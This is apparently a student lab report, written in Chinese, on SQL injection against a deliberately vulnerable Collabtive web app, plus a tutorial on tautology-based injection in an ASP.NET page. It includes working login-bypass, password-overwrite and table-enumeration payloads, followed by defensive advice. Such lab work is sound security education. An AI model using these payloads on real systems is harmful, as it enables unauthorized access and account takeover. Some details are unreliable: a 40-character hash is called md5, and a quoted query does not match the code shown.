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  • 20169215《Linux内核原理及分析》第十二周作业

    Collabtive 系统 SQL 注入实验

    实验介绍

    SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口。通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    在这个实验中,我们利用的web应用程序称为Collabtive,禁用Collabtive的若干对策。这样我们就创建了一个容易受到SQL注入攻击的Collabtive版本。经过我们的人工修改,可以捕捉许多web开发人员的常见错误。在本实验室学生的目标是找到方法来利用SQL注入漏洞,证明可以通过攻击的伤害,和掌握的技术,可以帮助抵御这类攻击。

    预备知识

    1、 SQL语言

    结构化查询语言(Structured Query Language)简称SQL:是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。

    2、SQL注入

    SQL注入:SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

    3、SQL注入危害

    (1)非法读取、篡改、添加、删除数据库中的数据。

    (2)盗取用户的各类敏感信息,获取利益。

    (3)通过修改数据库来修改网页上的内容。

    (4)私自添加或删除账号。

    (5)注入木马等等。

    4、环境搭建

    (1)启动mysql数据库
    image

    (2)启动apache服务器
    image

    (3)配置DNS服务

    sudo vim /etc/hosts
    

    image

    (4)配置web文件

    sudo vim /etc/apache2/conf.d/lab.conf
    

    image

    sudo service apache2 restart  重启服务
    

    访问测试:http://www.sqllabcollabtive.com

    image

    (5)关闭php配置策略

    sudo vim /etc/php5/apache2/php.ini
    

    image

    关于magic_quotes_off函数:

    对于magic_quotes_gpc=on的情况, 我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示;

    如果此时你对输入的数据作了addslashes()处理,那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。

    对于PHP magic_quotes_gpc=off 的情况

    必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

    5、实验内容

    (1)select语句的sql注入

    访问:www.sqllabcollabtive.com;当我们知道用户而不知道到密码的时候,我们可以怎么登陆?

    查看登陆验证文件:

    sudo vim /var/www/SQL/Collabtive/include/class.user.php
    

    image

    修改完后重启一下服务器:

    sudo sudo service apache2 restart
    

    我们在$user后面加上) # 这样就会只验证用户名,后面的会被#注释

    点击登陆以后,我们就可以绕过密码直接登录:

    image

    问题:

    登陆用户名:admin') union update user set name='test' #

    登陆密码:随意的字符

    登陆失败

    image

    原因解释

    MySQL机制:update不支持union语法。

    (2)update语句的sql注入

    image

    我们可以找到如下的代码:

    function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
              $zip, $gender, $url, $address1, $address2, $state,
              $country, $tags, $locale, $avatar = "", $rate = 0.0)
    {
    $name = mysql_real_escape_string($name);
    $realname = mysql_real_escape_string($realname);
    
    //modified for SQL Lab
    //$company = mysql_real_escape_string($company);
    $email = mysql_real_escape_string($email);
    
    // further escaped parameters removed for brevity...
    
    $rate = (float) $rate;
    $id = (int) $id;
    
    if ($avatar != "")
        {
            $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                tel1='$tel1', tel2='$tel2', company='$company',
                                zip='$zip', gender='$gender', url='$url',
                                adress='$address1', adress2='$address2',
                                state='$state', country='$country',
                                tags='$tags', locale='$locale',
                                avatar='$avatar', rate='$rate' WHERE ID = $id");
        }
    else
        {
            // same query as above minus setting avatar; removed for
            // brevity
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }
    

    发现​sql语句为:SELECT ID WHERE name=​'$user',并且company的位置是存在注入漏洞,原理同实验一。

    这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;

    在编辑用户的位置:user 填 ted 用户; Company 处填:

    ', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
    

    注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;

    点击修改,然后我们退出当前用户,使用ted用户登录,这个时候ted用户的密码修改为了pass。

    6、防御策略

    SQL注入漏洞的根本问题是数据与代码的分离失败,因此我们可以针对这个原因进行防御。

    防御策略1

    防御转义特殊字符使用,默认开启magic_quotes_gpc,将magic_quotes_gpc值设为On。

    防御策略2--避免使用特殊字符

    MySQL提供一个函数 mysql_real_escape_string(),这个函数可以用来过滤一些特殊字符;如x00, , , , ', " and x1a;

    防御策略3--数据与sql语句的分离

    通过SQL逻辑分离来告诉数据库到底是哪部分是数据部分,哪一部分是SQL语句部分。

    实验补充

    SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    首先了解什么时候可能发生SQL Injection。

    假设在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当输入www.sample.com?testid=23时,在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以可以该URL中嵌入恶意SQL语句。

    现在知道SQL Injection适用场合,接下来将通过具体的例子来说明SQL Injection的应用,这里以pubs数据库作为例子。

    通过Web页面查询job表中的招聘信息,job表的设计如下:
    image

    接着让实现Web程序,它根据工作Id(job_id)来查询相应的招聘信息,示意代码如下:

    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            // Gets departmentId from http request.
            string queryString = Request.QueryString["departmentID"];
            if (!string.IsNullOrEmpty(queryString))
            {
                // Gets data from database.
                gdvData.DataSource = GetData(queryString.Trim());
    
                // Binds data to gridview.
                gdvData.DataBind();
            }
        }
    }
    

    现在已经完成了Web程序,接下来让查询相应招聘信息。

    image

    如图所示,要查询数据库中工作Id值为1的工作信息,而且在页面显示了该工作的Id,Description,Min Lvl和Max Lvl等信息。

    现在要求实现根据工作Id查询相应工作信息的功能,SQL示意代码如下:

    SELECT     job_id, job_desc, min_lvl, max_lvl
    FROM         jobs
    WHERE     (job_id = 1)
    

    假设现在要求获取Department表中的所有数据,而且必须保留WHERE语句,那只要确保WHERE恒真就OK了,SQL示意代码如下:

    SELECT     job_id, job_desc, min_lvl, max_lvl
    FROM         jobs
    WHERE     (job_id = 1) OR 1 = 1
    

    上面使得WHERE恒真,所以该查询中WHERE已经不起作用了,其查询结果等同于以下SQL语句。

    SELECT     job_id, job_desc, min_lvl, max_lvl
    FROM         jobs
    

    SQL查询代码实现如下:

    string sql1 = string.Format(
        "SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='{0}'", jobId);
    

    现在要通过页面请求的方式,让数据库执行的SQL语句,要在URL中嵌入恶意表达式1=1(或2=2等等),如下URL所示:

    http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1

    等效SQL语句如下:

    SELECT     job_id, job_desc, min_lvl, max_lvl
    FROM         jobs
    WHERE     job_id = '1' OR '1' = 1'
    

    image

    现在把job表中的所有数据都查询出来了,仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。

    虽然把job表的数据都查询出来了,但数据并没有太大的价值,由于把该表临时命名为job表,所以接着要找出该表真正表名。

    首先假设表名就是job,然后输入以下URL:

    http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--

    等效SQL语句如下:

    SELECT       job_id, job_desc, min_lvl, max_lvl 
    FROM         jobs 
    WHERE      job_id='1'or 1=(select count(*) from job) --'
    

    image

    当输入了以上URL后,结果服务器返回错误信息,这证明了的假设是错误的,那该感觉到挫败吗?不,其实这里返回了很多信息,首先它证明了该表名不是job,而且它还告诉后台数据库是SQL Server,不是MySQL或Oracle,这也设计一个漏洞把错误信息直接返回给了用户。

    接下假定表名是jobs,然后输入以下URL:

    http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from jobs) --

    等效SQL语句如下:

    SELECT       job_id, job_desc, min_lvl, max_lvl 
    FROM         jobs 
    WHERE      job_id='1'or 1=(select count(*) from jobs) --'
    

    image

    现在证明了该表名是jobs,这可以迈向成功的一大步,由于知道了表名就可以对该表进行增删改操作了,而且还可以猜测出更多的表对它们作出修改,一旦修改成功那么这将是一场灾难。

    现在我们已经对SQL Injection的攻击有了初步的了解了,接下学习如何防止SQL Injection。

    总的来说有以下几点:

    1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。

    2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

    3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

    5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

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